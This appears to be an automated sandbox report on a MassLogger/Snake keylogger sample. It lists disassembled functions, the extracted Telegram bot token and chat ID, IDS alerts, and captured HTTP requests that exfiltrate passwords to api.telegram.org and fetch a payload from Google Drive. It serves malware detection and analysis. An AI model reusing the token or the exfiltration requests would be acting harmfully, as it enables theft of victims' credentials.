Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction ID: b9d54522e8c2a6a11acfe34e4faeeda892d25e5cd719c7a25251d408d6c76708
Opcode Fuzzy Hash: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction Fuzzy Hash: C8011A71D00619DBDF009FA0CA487EFBBB8EF14315F50443AD549B6190E7799604CFA9

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,00402F6A,00000001,?,?,00000000,0040353A,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,0040353A,?), ref: 00402DE6

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction ID: 14797c98da9828bb931948049190d252b5e763d0d3dd0a8fb7bf7e32741345ac
Opcode Fuzzy Hash: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction Fuzzy Hash: C9F05430611A20BFC6716B50FF4D98B7B64BB84B11701457AF142B15E8CBB80C418B9C

Function 00405128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405157
CallWindowProcW.USER32(?,?,?,?), ref: 004051A8

Part of subcall function 00404165: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404177

Strings

, xrefs: 00405138

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction ID: 0347cf6c5ba133ca8876b90c0990050b6d60b288702db1d6ba02f1018bbb4e5f
Opcode Fuzzy Hash: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction Fuzzy Hash: 4C017C71A00609ABDF214F51DD80FAB3B26EB84754F104036FA047E1E1C77A8C92DE69

Function 00405C59 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405C77
GetTempFileNameW.KERNEL32(0040A300,?,00000000,?,?,?,00000000,0040329E,00441000,00441800,00441800,00441800,00441800,00441800,00441800,004034CC), ref: 00405C92

Strings

nsa, xrefs: 00405C66

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction ID: f587d7e23cd8e79aba5dfcc9fd1c49406dd64d8aef4a88ed345cfe548f7336ea
Opcode Fuzzy Hash: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction Fuzzy Hash: BAF06D76A00708BFEB008B59ED05A9FBBA8EB91750F10403AE900F7180E6B49A548B68

Function 00405735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
CloseHandle.KERNEL32(0040A300), ref: 0040576B

Strings

Error launching installer, xrefs: 00405748

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction ID: 39588cd766b2ea89d65183b6a6bcc828c6470883592abd44c37ede1670716c40
Opcode Fuzzy Hash: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction Fuzzy Hash: B8E0B6B4600209BFEB109B64ED49F7B7AADEB04708F004665BD50F6191DB74EC158B78

Function 00111A40 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

Xaq, xrefs: 00111A76
Xaq, xrefs: 00111B7C
Xaq, xrefs: 00111AB0
Xaq, xrefs: 00111B2F

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: Xaq$Xaq$Xaq$Xaq
API String ID: 0-4015495023
Opcode ID: 628786edcf781538c88294d5774b5b0adbc8483457ce1e01d9d81bcd6e495caf
Instruction ID: e6c670990494d03758b41e2864956bb3f1658689e609c92e2c14c09d89fb2997
Opcode Fuzzy Hash: 628786edcf781538c88294d5774b5b0adbc8483457ce1e01d9d81bcd6e495caf
Instruction Fuzzy Hash: F6317070E0421A9BDF6C8FA889403EEFAB6BF94310F154079C51AA7254EB70CDC1DB92

Function 001158E8 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;]q, xrefs: 001158F4
\;]q, xrefs: 00115926
\;]q, xrefs: 0011591A
\;]q, xrefs: 001158FE

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: \;]q$\;]q$\;]q$\;]q
API String ID: 0-2351511683
Opcode ID: 135741b7379a65328b5b0e8f063d1ca21cd0fe133136b6dc1d4918f8abab5d88
Instruction ID: 23264195cdb09c1dd73100a23c90a8486ebdb6b762e5655ea274ac5c75ce94c5
Opcode Fuzzy Hash: 135741b7379a65328b5b0e8f063d1ca21cd0fe133136b6dc1d4918f8abab5d88
Instruction Fuzzy Hash: D2019E31750909CF8B6C8A2DC49096577EBAFC8B7872545BAE445CB260DB31DC81C782

Function 00405B8F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BB7
CharNextA.USER32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BC8
lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction ID: ee410971918da6c20df7c5ac797640abd601cb5b02c8e88895b13af08820b85c
Opcode Fuzzy Hash: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction Fuzzy Hash: 22F06231104958AFC7029BA5DD4099FBBB8EF55254B2540A9E840F7211D674FE019BA9

Source: 00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA", "Telegram Chatid": "1934716051"}
Source: FILHKLtCw0.exe.5852.4.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendMessage"}

Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838D1EC CryptUnprotectData,		4_2_3838D1EC
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3838D9D9 CryptUnprotectData,		4_2_3838D9D9

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:59244 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:59252 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:59244 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:59248 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:59248 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:59246 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:59246 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:59258 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:59252 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:59258 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:59250 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:59250 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:59256 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:59256 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:59254 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:59254 -> 149.154.167.220:443

Source: global traffic	TCP traffic: 192.168.2.5:58977 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:54306 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3182720a9442Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31b1cb1e2887Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31db50b888a4Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31ebdb3d617fHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd320498b12c56Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3216662c95dfHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3226cb0eef66Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3239ddc2fe6eHost: api.telegram.orgContent-Length: 1090

Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38380671h	4_2_383803B0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38381042h	4_2_38380C28
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 3838C985h	4_2_3838C638
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 3838B339h	4_2_3838B07F
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 3838F2F8h	4_2_3838F054
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 3838BBE9h	4_2_3838B930
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 3838C499h	4_2_3838C1F2
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 3838DD40h	4_2_3838DA89
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 3838E5F0h	4_2_3838E339
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 3838EEA0h	4_2_3838EBF2
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38381042h	4_2_38380C1A
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 3838B791h	4_2_3838B4D8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 3838C041h	4_2_3838BD9C
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 3838E198h	4_2_3838DEE1
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38381042h	4_2_38380F6F
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 3838EA48h	4_2_3838E790
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then push 00000000h	4_2_38EDBDF0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED882Dh	4_2_38ED8650
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED91B7h	4_2_38ED8650
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED7318h	4_2_38ED7070
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED1B00h	4_2_38ED1858
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED4ACAh	4_2_38ED4820
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED2C60h	4_2_38ED29B8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_38ED8193
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then push 00000000h	4_2_38EDC92F
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED23B0h	4_2_38ED2108
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED5D60h	4_2_38ED5AB8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED3510h	4_2_38ED3268
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED54B0h	4_2_38ED5208
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_38EDCBE7
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED4670h	4_2_38ED43C8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED6610h	4_2_38ED6368
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_38ED8373
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_38ED7B4F
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED3DC0h	4_2_38ED3B18
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED7770h	4_2_38ED74C8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED1F58h	4_2_38ED1CB0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED16A8h	4_2_38ED1400
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED6EC0h	4_2_38ED6C18
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED5058h	4_2_38ED4DB0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED2808h	4_2_38ED2560
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED3968h	4_2_38ED36C0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED5908h	4_2_38ED5660
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED30B8h	4_2_38ED2E10
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED6A68h	4_2_38ED67C0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED1250h	4_2_38ED0FA8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED4218h	4_2_38ED3F70
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then jmp 38ED61B8h	4_2_38ED5F10
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4x nop then push 00000000h	4_2_3940E870

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:59245 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:59242 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:59240 -> 142.250.181.238:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1lXVtdD0fIlICi_MAQ-2x5OrVMu-cSoWQ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1lXVtdD0fIlICi_MAQ-2x5OrVMu-cSoWQ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
